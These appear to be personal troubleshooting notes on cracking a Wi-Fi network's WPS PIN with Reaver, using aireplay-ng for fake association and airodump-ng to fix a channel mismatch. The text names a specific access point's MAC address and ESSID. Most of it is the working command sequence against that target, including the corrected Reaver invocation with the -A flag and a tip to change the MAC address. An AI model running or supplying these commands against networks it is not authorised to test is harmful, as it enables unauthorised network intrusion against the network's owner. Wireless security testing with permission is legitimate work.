If Reaver is not able to associate

If Reaver returns

[!] WARNING: Failed to associate with 90:94:E4:29:14:64 (ESSID: nadzhomie70@unifi)

Then try using aireplay-ng to associate with the BSSID

airreplay-ng -1 0 -a (BSSID) (mon interface)
aireplay-ng -1 0 -a  90:94:E4:29:14:64 mon0








When trying this command,

08:34:51  Waiting for beacon frame (BSSID: 90:94:E4:29:14:64) on channel 10
08:34:51  mon0 is on channel 10, but the AP uses channel 11

So i was scanning the wrong channel.

Redo Reaver and manually enter the channel number.

Note from http://code.google.com/p/reaver-wps/issues/detail?id=205

Try to use the -A option with aireplay-ng.

reaver -i mon0 -b XX:XX:XX:XX:XX:XX -c 11 -e network_name -vv -A

aireplay-ng -1 30 -a "mac AP" -h "mac client" -e "network name" mon0

sometimes aireplay-ng does listen on a wrong channel.
Simply run airodump-ng once on the right channel to fix that.

airodump-ng -c 11 wlan0

So this time

airodump-ng -c 11 wlan0

Then

 reaver -i mon0 -b  90:94:E4:29:14:64 -c 11 -vv -A

-A is not to associate with the AP. Let aireplay-ng accosicate with the AP

Change the MAC address if needed.